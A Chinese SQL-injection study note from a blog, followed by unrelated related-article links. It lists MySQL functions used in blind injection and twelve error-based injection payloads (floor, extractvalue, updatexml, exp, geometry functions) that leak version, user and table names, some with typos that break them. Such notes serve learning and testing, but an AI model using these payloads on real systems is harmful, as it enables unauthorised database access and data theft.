首页 > 数据库 >sql学习5.29

sql学习5.29

时间:2023-05-29 23:45:23浏览次数:26  
标签:语句 如下 学习 报错 5.29 sql 注入 select user

length() 返回字符串的长度,例如可以返回数据库名字的长度

substr() ⽤来截取字符串

ascii() 返回字符的ascii码

sleep(n) 将程序挂起⼀段时间,n为n秒

if(expr1,expr2,expr3) 判断语句 如果第⼀个语句正确就执⾏第⼆个语句如果错误执⾏第三个语句

报错回显注入:

1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
————————————————
版权声明:本文为CSDN博主「董呆呆」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_43348375/article/details/123909559

标签:语句,如下,学习,报错,5.29,sql,注入,select,user
From: https://www.cnblogs.com/neinei0412/p/17442037.html

相关文章

  • SQL语句
    SQL语句分类:DQL:数据查询语言,用于对数据进行查询DML:数据操作语言,对数据进行增加、修改、删除TPL:事务处理语言,对事务进行处理DDL:数据定义语言,进行数据库、表的管理等DCL:数据控制语言,进行授权与权限回收CCL:指针控制语言,通过控制指针完成表的操作数据库的增删改查是必须要掌......
  • Go语言学习之路
    【阶段1Go语言基础】Day01变量、字符串、运算符Day02Go语言流程控制、数组、切片、切片原理、map、Day03函数基础、错误处理、包管理Day04常用内置包Day05结构体Day06文件I/O操作Day07接口Day08并发编程Day09网络编程Day10webrpc爬虫模板语法【阶段2Go......
  • 5.29
    今天Java考试代码如下packageservlet;importjava.io.IOException;importjavax.servlet.ServletException;importjavax.servlet.http.HttpServlet;importjavax.servlet.http.HttpServletRequest;importjavax.servlet.http.HttpServletResponse;importmodel.PageBean;i......
  • 小灰灰深度学习day4——数据操作之张量(torch)
    震惊了!!!在python中,y=x+y;与y+=x;竟然有区别,且看如下代码:importtorch'''x=torch.arange(12)print(x)#reshape可以改变张量的形状而不改变元素的数量和元素值X=x.reshape(-1,3)print(X)#shape属性可以访问元素的张量的形状print(X.shape)#numel()得到张量......
  • 算法学习day30回溯part06-332、51、37
    packageLeetCode.backtrackpart06;importjava.util.ArrayList;importjava.util.Collections;importjava.util.LinkedList;importjava.util.List;/***332.重新安排行程*给你一份航线列表tickets,其中tickets[i]=[fromi,toi]表示飞机出发和降落的机场地点......
  • 2023.5.29Linux系统压缩打包
    02.Linux系统压缩打包1.zip压缩工具2.TAR压缩工具3.TAR实践案例windows下我们接触最多的压缩文件就是rar格式,但linux有自己所特有的压缩工具如果希望windiows和linux互相能使用的压缩工具,建议.zip格式压缩的好处主要有节省磁盘空间占用率节省网络传输带宽消耗网络传输更......
  • 在统计学和机器学习中,常见的误差类型
    在统计学和机器学习中,常见的误差类型包括以下几种:1.随机误差(RandomError):随机误差是由于测量或观测过程中的不确定性引起的。它是无法避免的,通常表现为测量值或观测值的波动性。随机误差是独立的、不可预测的,并且在多次测量或观测中可以通过取平均值来减小其影响。2.系统误差(S......
  • net6 使用 efcore 根据 mysql数据库生成代码
    1.vs中下载程序NuGet包Microsoft.EntityFrameworkCore.ToolsPomelo.EntityFrameworkCore.MySql 把这两个安装好就可以了或者你嫌麻烦也可以直接用命令下载 打开VS2019"工具"->"Nuget包管理器"->"程序包器管理控制台"PM>Install-PackageMicrosoft.EntityFrameworkCore.Too......
  • 通过 docker-compose 快速部署 MySQL保姆级教程
    目录一、概述二、前期准备1)部署docker2)部署docker-compose三、创建网络四、MySQL编排部署1)构建镜像Dockerfile2)配置文件2)编排docker-compose.yaml3)开始部署五、简单测试验证六、常用的MySQL客户端命令1)连接到MySQL服务器2)显示当前数据库列表3)选择数据库4)显示当前数据库的所......
  • 5.29每日总结
    今天上课做了这学期的测试,虽然长时间没有写html及前端的东西,但是还是比较顺利的完成了;林另外下面是我们团队队员总结团队内部的问题:在项目开发的过程中,我们团队存在诸多潜在问题。经过改进的用户界面仍然不够友好。由于开发团队没有专业的界面美工设计人员,以及没有足够的用......